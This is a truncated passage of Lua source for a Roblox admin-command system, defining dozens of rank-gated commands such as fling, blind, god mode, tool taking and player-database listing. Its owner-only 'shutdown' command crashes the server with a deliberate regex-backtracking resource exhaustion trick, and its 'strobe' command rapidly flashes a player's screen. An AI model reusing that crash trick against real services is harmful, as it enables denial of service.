RANK:IsSupremeOwner(Speaker)) end}; [{"longneck", "lneck", "longn", "ln"}] = {"player", "Makes player have a long neck", 1, "Member", true, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character ~= nil then if Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") ~= nil then if Player.Character.Torso:FindFirstChild("Neck") then Player.Character.Torso.Neck.C0 = CFrame.new(0,3,0) * CFrame.Angles(-math.rad(90),0,math.rad(180)) local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end Neck = Instance.new("Part", Player.Character) Neck.Name = "Neck" Neck.Size = Vector3.new(1,3,1) Neck.Position = Vector3.new(0,100,0) Neck.BrickColor = BrickColor.new(tostring(Player.Character.Head.BrickColor)) Neck.Locked = true local Mesh = Instance.new("CylinderMesh", Neck) Mesh.Scale = Vector3.new(0.7,1,0.7) local Weld = Instance.new("Weld", Neck) Weld.Part0 = Neck Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-2,0) end end end end end}; [{"nolongneck", "normalneck", "nolneck", "nolongn", "noln", "unlongneck", "unlneck", "unlongn", "unln", "shortneck"}] = {"player", "Makes player's neck normal sized", 1, "Member", true, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") then Player.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(-math.rad(90),0,math.rad(180)) local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end end end end}; [{"fling"}] = {"player", "Flings player out of the map", 1, "Member", true, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do local _,RankNum = RANK:GetRank(Player) if RankNum <= RANK:ConvertRank(Rank) then CORE:FlingPlayer(Player) end end end}; [{"loopfling", "lfling", "loopf", "lf"}] = {"player", "Flings player out of the map over and over", 1, "Member", true, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do local _,RankNum = RANK:GetRank(Player) if RankNum <= RANK:ConvertRank(Rank) then Flings[Player.Name] = true CORE:FlingPlayer(Player) end end end}; [{"noloopfling", "unloopfling", "nofling", "unfling"}] = {"player", "Stops theloop fling on player", 1, "Member", true, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do local _,RankNum = RANK:GetRank(Player) if RankNum <= RANK:ConvertRank(Rank) then Flings[Player.Name] = nil end end end}; [{"nuke"}] = {"player", "Nukes player", 1, "Admin", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do CORE:Nuke(Player) end end}; [{"beep", "annoy"}] = {"player", "Plays a beep sound to player", 1, "Admin", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do Beeps[Player.Name] = true SOUND:BeepPlayer(Player) end end}; [{"nobeep", "unbeep", "noannoy", "unannoy"}] = {"player", "Stops beeping sound on player", 1, "Admin", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.PlayerGui then Beeps[Player.Name] = nil for _,Obj in pairs(Player.PlayerGui:GetChildren()) do if Obj.Name == "Annoy" then Obj:Stop() Obj:Destroy() end end end end end}; [{"time"}] = {"number/string", "Sets the time to number/string(Ex: 9:00, noon)", 1, "Member", false, function(Speaker, Rank, Arguments) local Time = Arguments[1] if Time == "day" or Time == "noon" then Time = "12" end if Time == "night" or Time == "midnight" then Time = "0" end if Time == "dawn" or Time == "morning" then Time = "6:15" end if Time == "dusk" or Time == "evening" then Time = "17:45" end if Time == "afternoon" then Time = "15:30" end ypcall(function() Server.Lighting.TimeOfDay = Time end) end}; [{"product", "buy", "purchase", "prod", "place"}] = {"player number(ID)", "Prompts player to purchase item", 2, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do MARKET:PromptPurchase(Player, Arguments[2], Speaker) end end}; [{"gear"}] = {"player ID", "Gives player the gear with the ID of ID", 2, "Member", false, function(Speaker, Rank, Arguments) local AbuseMode = false if Rank == "Member" then AbuseMode = Settings.DisableAbuse end local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do CORE:Insert(Arguments[2], Player.Backpack, true, {"Tool", "HopperBin"}, AbuseMode) end end}; [{"sword"}] = {"player", "Gives player a sword", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do CORE:Insert(125013769, Player.Backpack, true) end end}; [{"hat"}] = {"player ID", "Gives player the hat with the ID of ID", 2, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character then CORE:Insert(Arguments[2], Player.Character, true, {"Hat"}) end end end}; [{"flash"}] = {"", "Flashes lighting", 0, "Member", false, function(Speaker, Rank, Arguments) CORE:ResetLighting() repeat Server.Lighting.Ambient = Color3.new(1,1,1) Server.Lighting.FogColor = Color3.new(1,1,1) Server.Lighting.Brightness = 1 Server.Lighting.TimeOfDay = 14 wait(0.1) Server.Lighting.Ambient = Color3.new(0,0,0) Server.Lighting.FogColor = Color3.new(0,0,0) Server.Lighting.Brightness = 0 Server.Lighting.TimeOfDay = 0 wait(0.1) until ModLighting == false end}; [{"disco", "party"}] = {"", "Changes the lighting so there's a disco party", 0, "Member", false, function(Speaker, Rank, Arguments) CORE:ResetLighting() repeat local Color = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255) Server.Lighting.Ambient = Color Server.Lighting.FogColor = Color Server.Lighting.TimeOfDay = 0 Server.Lighting.FogEnd = 500 wait(0.1) until ModLighting == false end}; [{"fixl", "fixlighting", "nodisco", "undisco", "noflash", "unflash"}] = {"", "Removes disco or flash effects", 0, "Member", false, function(Speaker, Rank, Arguments) CORE:FixLighting() end}; [{"strobe"}] = {"player", "Makes player's screen flash like a strobe", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player:FindFirstChild("PlayerGui") then local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MMLA Screen Cover" local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100 coroutine.wrap(function() repeat Frame.BackgroundColor3 = Color3.new(0,0,0) wait(0.1) Frame.BackgroundColor3 = Color3.new(1,1,1) wait(0.1) until not SG end)() end end end}; [{"nostrobe", "unstrobe", "noblind", "unblind"}] = {"player", "Clears the strobe effect from player's screen", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player:FindFirstChild("PlayerGui") then local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end end end end}; [{"blind"}] = {"player", "Makes player unable to see", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player:FindFirstChild("PlayerGui") then local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MMLA Screen Cover" local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100 Frame.BackgroundColor3 = Color3.new(0,0,0) end end end}; [{"rejoin", "rj", "rej", "rjoin"}] = {"", "Makes yourself rejoin the server", 0, "Non-Admin", false, function(Speaker, Rank, Arguments) local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(Speaker.UserId) if Suc then Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Speaker) else Server.TS:Teleport(game.PlaceId, Speaker) end end}; [{"abuselist", "abusablecommands", "abusecmds", "ac"}] = {"", "Shows a list of abusable commands", 0, "Admin", false, function(Speaker, Rank, Arguments) GUI:ListGui(Speaker, "Abusable Commands", Settings.AbuseList, 2015506) end}; [{"addabuse", "makeabuse", "abusecmd", "abusecommand", "addabusable", "makeabusable", "abusablecmd", "abusablecommand"}] = {"string(command)", "Adds string(command) to the abuse list", 1, "Owner", false, function(Speaker, Rank, Arguments) local NewAbuse = Arguments[1] if string.sub(string.lower(NewAbuse), 1, #Settings.Prefix) == string.lower(Settings.Prefix) then -- remove prefix if present NewAbuse = string.sub(NewAbuse, #Settings.Prefix + 1) end local Match = false for _,AbuseCmd in pairs(Settings.AbuseList) do if string.lower(AbuseCmd) == string.lower(NewAbuse) then Match = true break end end if not Match then table.insert(Settings.AbuseList, NewAbuse) GUI:MessageAdmins("New abusable command", Speaker.Name.." has made '"..NewAbuse.."' an abuseable command", "Check") else GUI:SendMessage(Speaker, "Command Exists", "RED This command matches another in the abuse list, therefore, will not be added", "Error") end CORE:SetAbuseCommands() end}; [{"removeabuse", "removeabuse", "removeabusecmd", "removeabusecommand", "removeabusable", "removeabusable", "removeabusablecmd", "removeabusablecommand", "noabuse", "unabuse", "noabusable", "unabusable"}] = {"string(command)", "Removes string(command) to the abuse list", 1, "Owner", false, function(Speaker, Rank, Arguments) local NewAbuse = Arguments[1] if string.sub(string.lower(NewAbuse), 1, #Settings.Prefix) == string.lower(Settings.Prefix) then -- remove prefix if present NewAbuse = string.sub(NewAbuse, #Settings.Prefix + 1) end local Removed = false for Num,AbuseCmd in pairs(Settings.AbuseList) do if string.sub(string.lower(AbuseCmd), 1, #NewAbuse) == string.lower(NewAbuse) then Removed = true table.remove(Settings.AbuseList, Num) end end if Removed then GUI:MessageAdmins("Removed abusable command", Speaker.Name.." has removed '"..NewAbuse.."' from the abuse list", "Check") else GUI:SendMessage(Speaker, "Command not removed", "RED Could not find '"..NewAbuse.."' in abuse list", "Error") end CORE:SetAbuseCommands() end}; [{"god", "power"}] = {"player", "Gives player unlimited health", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character and Player.Character:FindFirstChild("Humanoid") then Player.Character.Humanoid.MaxHealth = math.huge Player.Character.Humanoid.Health = math.huge end end end}; [{"heal", "nogod", "ungod", "nopower", "unpower"}] = {"player", "Resets health to full, undoes god effect(Doesn't mean there isn't God)", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character and Player.Character:FindFirstChild("Humanoid") then if Player.Character.Humanoid.MaxHealth == math.huge then Player.Character.Humanoid.MaxHealth = 100 Player.Character.Humanoid.Health = 100 else Player.Character.Humanoid.Health = Player.Character.Humanoid.MaxHealth end end end end}; [{"loopheal"}] = {"player", "Loops player's health to full", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character and Player.Character:FindFirstChild("Humanoid") then local Char = Player.Character repeat Char.Humanoid.Health = Char.Humanoid.MaxHealth wait() until not Char:FindFirstChild("Humanoid") or Char.Parent == nil or Char.Humanoid.Health == 0 end end end}; [{"health"}] = {"player num", "Sets the health of player to num", 2, "Member", false, function(Speaker, Rank, Arguments) if tonumber(Arguments[2]) then local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character and Player.Character:FindFirstChild("Humanoid") then Player.Character.Humanoid.Health = Arguments[2] end end end end}; [{"speed", "ws", "walkspeed"}] = {"player num", "Sets the speed of player to num", 2, "Member", false, function(Speaker, Rank, Arguments) if tonumber(Arguments[2]) then local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character and Player.Character:FindFirstChild("Humanoid") then Player.Character.Humanoid.WalkSpeed = Arguments[2] end end end end}; [{"damage", "dmg"}] = {"player num", "Takes away num health from player", 2, "Member", false, function(Speaker, Rank, Arguments) if tonumber(Arguments[2]) then local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character and Player.Character:FindFirstChild("Humanoid") then Player.Character.Humanoid.Health = Player.Character.Humanoid.Health - Arguments[2] end end end end}; [{"fly"}] = {"player", "Lets player be able to fly", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do CORE:Fly(Player, 10000) end end}; [{"noclip", "noc"}] = {"player", "Lets player be able to noclip", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do CORE:Fly(Player, 1000000) end end}; [{"nofly", "unfly", "clip", "nonoclip", "unnoclip"}] = {"player", "Removes fly or noclip effect", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character then if Player.Character:FindFirstChild("StopLMMFly") then Player.Character.StopLMMFly:InvokeClient(Player) end end end end}; [{"clearcache", "clearc", "cc"}] = {"", "Clears cached objects such as market info and http local scripts", 0, "Owner", false, function(Speaker, Rank, Arguments) ScriptCache,MarketCache,CharacterCache,PackageCache = {},{},{},Packages GUI:SendMessage(Speaker, "Cache Cleared", "Cache has been cleared successfully", "Check") end}; [{"give"}] = {"player string", "Gives player any tool found named string. Can also give build tools (basicbtools, btools, psbtools)", 2, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do CORE:GiveTools(Player, Arguments[2]) end end}; [{"tools", "gettools", "toollist", "toolslist"}] = {"", "Gets all tools that you can use the "..Settings.Prefix.."give command", 0, "Member", false, function(Speaker, Rank, Arguments) local List = {} for _,Region in pairs(ToolRegions) do CORE:ScanItems(Region, {"HopperBin", "Tool"}, function(Item) table.insert(List, Item.Name.." | Found at: "..Item:GetFullName()) end) end GUI:ListGui(Speaker, "Tool list", List, 73589272) end}; [{"btools", "buildtools", "buildingtools"}] = {"player string", "Gives player building tools", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do CORE:GiveTools(Player, "btools") end end}; [{"shutdown", "sd"}] = {"", "Shuts down the server", 0, "Owner", false, function(Speaker, Rank, Arguments) REMOTE:SendHttpLog(Speaker.Name.." shutdown the server", "INFORMATION") for _,Player in pairs(Server.Players:GetPlayers()) do Player:Kick() end Server.Workspace:ClearAllChildren() string.find(string.rep("a", 2^20),string.rep(".?", 2^20)) end}; [{"scale", "size"}] = {"player num", "Scales player's character to num", 2, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do CORE:Scale(Player, Arguments[2]) end end}; [{"mini", "small", "tiny", "small"}] = {"player", "Makes player's character mini", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do CORE:Scale(Player, 50) end end}; [{"hobbit"}] = {"player", "Makes player's character hobbit sized", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do CORE:Scale(Player, 70) end end, Hidden = true}; [{"mega", "huge", "giant", "large", "big"}] = {"player", "Makes player's character mega", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do CORE:Scale(Player, 500) end end}; [{"gold", "goldify"}] = {"player", "Makes player's character gold", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character then CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj) Obj.Reflectance = 0.5 Obj.BrickColor = BrickColor.new("New Yeller") end) end end end}; [{"shine", "shiny", "shinify", "shineify"}] = {"player", "Makes player's character shiny", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character then CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj) Obj.Reflectance = 0.5 end) end end end}; [{"ghost", "ghostify", "spook", "spooky"}] = {"player", "Makes player's character a ghost", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character then CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj) Obj.Transparency = 0.5 Obj.Reflectance = 0 Obj.BrickColor = BrickColor.new("Institutional white") end) CORE:ScanItems(Player.Character, {"Texture", "Decale"}, function(Obj) Obj.Transparency = 0.5 end) end end end}; [{"nolimbs", "nolimb"}] = {"player", "Removes player's limbs", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character then for _,Obj in pairs(Player.Character:GetChildren()) do local Valid = false for _,Name in pairs({"Right Arm", "Left Arm", "Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end if Valid == true then Obj:Destroy() end end end end end}; [{"noarms", "noarm"}] = {"player", "Removes player's arms", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character then for _,Obj in pairs(Player.Character:GetChildren()) do local Valid = false for _,Name in pairs({"Right Arm", "Left Arm"}) do if Obj.Name == Name then Valid = true end end if Valid == true then Obj:Destroy() end end end end end}; [{"nolegs", "noleg"}] = {"player", "Removes player's legs", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character then for _,Obj in pairs(Player.Character:GetChildren()) do local Valid = false for _,Name in pairs({"Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end if Valid == true then Obj:Destroy() end end end end end}; [{"nohats", "nohat"}] = {"player", "Removes player's hats", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character then for _,Obj in pairs(Player.Character:GetChildren()) do if Obj:IsA("Hat") then Obj:Destroy() end end end end end}; [{"naked", "noclothes"}] = {"player", "Removes player's clothes and hats", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do Player:ClearCharacterAppearance() end end}; [{"playerdatabase", "playerbase", "playerdatab", "playerdb", "plrdatabase", "plrdatab", "plrdb", "pdatabase", "pdatab", "pdb"}] = {"", "Database of all the players in the server", 0, "Member", false, function(Speaker, Rank, Arguments) local Players = Server.Data:GetDataStore("MML's Admin"):GetAsync("Players") local TmpPlayers = {} local Output = {} for _,Data in pairs(Players) do table.insert(Output, {"Name: "..Data.Name.." | UserID: "..Data.UserId.." | Rank: "..Data.Rank.." | Last Joined: "..(Data.LastJoin or "Unknown").." | Account Age: "..(Data.AccountAge or "Unknown"), "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Data.Name}) end GUI:ListGui(Speaker, "Player Database", Output, 120563622) end}; [{"clearplayerdatabase", "clearpdb", "cpdb"}] = {"", "Clears the player databse", 0, "Owner", false, function(Speaker, Rank, Arguments) Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", {}) GUI:SendHint(Speaker, "Player Database cleared", 5) end}; [{"hack", "hax"}] = {"player", "Fake hacks player", 1, "Member", true, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do GUI:FakeHack(Player) end end}; [{"clonetools", "clonet"}] = {"player", "Clones player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then for _,Object in pairs(Player.Backpack:GetChildren()) do if Object:IsA("Tool") or Object:IsA("HopperBin") then local Clone = Object:Clone() Clone.Parent = Speaker.Backpack end end end end end}; [{"taketools", "taket", "tt"}] = {"player", "Clone player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then for _,Object in pairs(Player.Backpack:GetChildren()) do if Object:IsA("Tool") or Object:IsA("HopperBin") then Object.Parent = Speaker.Backpack end end end end end}; [{"givetools", "givet", "gt"}] = {"player", "Clone the speaker's tools and gives the to player", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then for _,Object in pairs(Speaker.Backpack:GetChildren()) do if Object:IsA("Tool") or Object:IsA("HopperBin") then local Clone = Object:Clone() Clone.Parent = Player.Backpack end end end end end}; [{"notools", "notool", "cleartools", "cleantools", "ctools", "untools"}] = {"player", "Clears player's backpack", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player:FindFirstChild("Backpack") then Player.Backpack:ClearAllChildren() end if Player.Character ~= nil then for _,Obj in pairs(Player.Character:GetChildren()) do if Obj:IsA("Tool") or Obj:IsA("HopperBin") then Obj:Destroy() end end end end end}; [{"vomit", "puke", "throwup", "barf"}] = {"player", "Makes player vomit", 1, "Member", true, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character then if Player.Character:FindFirstChild("Head") then if Player.Character.Torso:FindFirstChild("Neck") and Player.Character.Head:FindFirstChild("face") then coroutine.wrap(function() if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then local OldFace = Player.Character.Head.face.Texture Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(math.rad(20),0,0) Player.Character.Head.BrickColor = BrickColor.new("Br. yellowish green") Player.Character.Head.face.Texture = "rbxassetid://24067663" local Sound = SOUND:MakeSound(Player.Character.Head, 142539016, 1, 0.9) Sound:Play() coroutine.wrap(function() for i = 1,100 do wait() local Part = Instance.new("Part", Player.Character) Part.BrickColor = BrickColor.new("Br. yellowish green") Part.FormFactor = "Custom" Part.Elasticity = 0.1 Part.Size = Vector3.new(0.2,0.2,0.2) Part.Position = Player.Character.Head.Position + Vector3.new(math.random(-10,10)/10, math.random(-10,10)/10, math.random(-10,10)/10) coroutine.wrap(function() wait(3) Part:Destroy() end)() end Sound:Destroy() Player.Character.Head.face.Texture = OldFace Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(-math.rad(20),0,0) pcall(function() Player.Character.Head.BrickColor = Player.Character["Body Colors"].HeadColor end) end)() end end end)() end end end end end}; [{"fart", "stink"}] = {"player", "Makes player fart", 1, "Member", true, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character then if Player.Character:FindFirstChild("Torso") and Player.Character.Head:FindFirstChild("face") then coroutine.wrap(function() if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then local OldFace = Player.Character.Head.face.Texture local Fart = Instance.new("Part", Player.Character.Torso) Fart.Name = "Fart" Fart.Size = Vector3.new(1,1,1) Fart.Position = Vector3.new(0,100,0) Fart.Transparency = 1 local Weld = Instance.new("Weld", Fart) Weld.Part0 = Fart Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-1,-1) * CFrame.Angles(math.rad(-90),0,0) local Smoke = Instance.new("Smoke", Fart) Smoke.Name = "Fart Effect" Smoke.Color = Color3.new(70/255, 100/255, 30/255) Player.Character.Head.face.Texture = "rbxassetid://28118994" local Sound = SOUND:MakeSound(Fart, 130833677, 1, 0.8) Sound:Play() wait(1) Smoke.Enabled = false wait(1) Fart:Destroy() Fart:Destroy() Player.Character.Head.face.Texture = OldFace end end end)() end end end end}; [{"graffiti", "graf", "gra", "draw"}] = {"player", "Gives player a tool to do graffiti", 1, "Member", true, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player:FindFirstChild("Backpack") then CORE:ExecuteResource("Graffiti", Player.Backpack, {["Color"] = GUI:GetColor()}) end end end}; [{"cleargraffiti", "cleargraf", "cleargra", "cleardraw", "cleangraffiti", "cleangraf", "cleangra", "cleandraw", "cgraffiti", "cgraf", "cgra", "cdraw"}] = {"", "Clears any graffiti", 0, "Admin", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character and Player.Character:FindFirstChild("MMLGraffiti") then Player.Character.MMLGraffiti:ClearAllChildren() end end end}; [{"light", "spotlight"}] = {"player", "Makes player and a small radius around whom to light up", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character and Player.Character:FindFirstChild("Torso") then local Light = Player.Character.Torso:FindFirstChild("MML Light") if Light then Light:Destroy() end Light = Instance.new("PointLight", Player.Character.Torso) Light.Name = "MML Light" Light.Range = 20 Light.Brightness = 2 end end end}; [{"lamp", "pointlight", "headlight", "headlamp"}] = {"player", "Makes player and a small radius in from of whom to light up as if there was a head light", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character and Player.Character:FindFirstChild("Torso") then local Light = Player.Character.Torso:FindFirstChild("MML Lamp") if Light then Light:Destroy() end Light = Instance.new("SpotLight", Player.Character.Torso) Light.Name = "MML Lamp" Light.Range = 30 Light.Brightness = 5 end end end}; [{"nolight", "nolamp", "unlight", "unlamp"}] = {"player", "Removes player's light and/or lamp", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character and Player.Character:FindFirstChild("Torso") then local Lights = {} for _,Obj in pairs(Player.Character.Torso:GetChildren()) do if Obj.Name == "MML Lamp" or Obj.Name == "M".."ML Light" then table.insert(Lights, Obj) end end for _,Light in pairs(Lights) do coroutine.wrap(function() for i = 1,20 do Light.Brightness = Light.Brightness/5 wait() end Light:Destroy() end)() end end end end}; [{"drug", "lsd"}] = {"player", "Gives player the effect of being on lsd", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character and Player:FindFirstChild("PlayerGui") then local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MML Drug" local Frame = Instance.new("Frame", SG) Frame.Size = UDim2.new(1,0,1,0) Frame.BackgroundTransparency = 0.5 local Stop = false coroutine.wrap(function() repeat Frame.BackgroundColor3 = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255) wait(0.1) until not SG or not SG.Parent end)() CORE:ExecuteResource("Drug", Player.Character) end end end}; [{"nodrug", "nolsd", "undrug", "unlsd"}] = {"player", "Removes drug effect", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player:FindFirstChild("PlayerGui") then local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end wait() CORE:RestoreCamera(Player) end end end}; [{"searchg", "searchgear"}] = {"string", "Searches the catalog for the gear string (HTTP)", 1, "Member", false, function(Speaker, Rank, Arguments) local AbuseMode = false if Rank == "Member" then AbuseMode = Settings.DisableAbuse end MARKET:ShowSearch(Speaker, 5, Arguments[1], function(ID) if Speaker:FindFirstChild("Backpack") then CORE:Insert(ID, Speaker.Backpack, true, {"Tool", "HopperBin"}, AbuseMode) end end) end}; [{"searchh", "searchhat"}] = {"string", "Searches the catalog for the hat string (HTTP)", 1, "Member", false, function(Speaker, Rank, Arguments) MARKET:ShowSearch(Speaker, 3, Arguments[1], function(ID) if Speaker.Character then CORE:Insert(ID, Speaker.Character, true, {"Hat"}) end end, 9) end}; [{"searchp", "searchpack", "searchpackage"}] = {"string", "Searches the catalog for the package string (HTTP)", 1, "Member", false, function(Speaker, Rank, Arguments) MARKET:ShowSearch(Speaker, 4, Arguments[1], function(ID) if Speaker.Character then CORE:GivePackage(Speaker, ID) end end, 11) end}; [{"nopackage", "nopack", "unpackage", "unpack"}] = {"player", "Removes all packages from player", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do CORE:GivePackage(Player) end end}; [{"package", "pack", "morph"}] = {"player num(ID)", "Gives player the package with num(ID), a few packages don't need http service because they're in the cache, but most do (HTTP)", 2, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do CORE:GivePackage(Player, Arguments[2]) end end}; [{"change", "changestat", "changeleaderstat", "changestats", "changeleaderstats"}] = {"player string(key) value(string/num)", "Changes player's leaderstats for key(Coins, money, ext) to value", 3, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do local Stats = Player:FindFirstChild("leaderstats") if Stats ~= nil then for _,Stat in pairs(Stats:GetChildren()) do if string.sub(string.lower(Stat.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then ypcall(function() 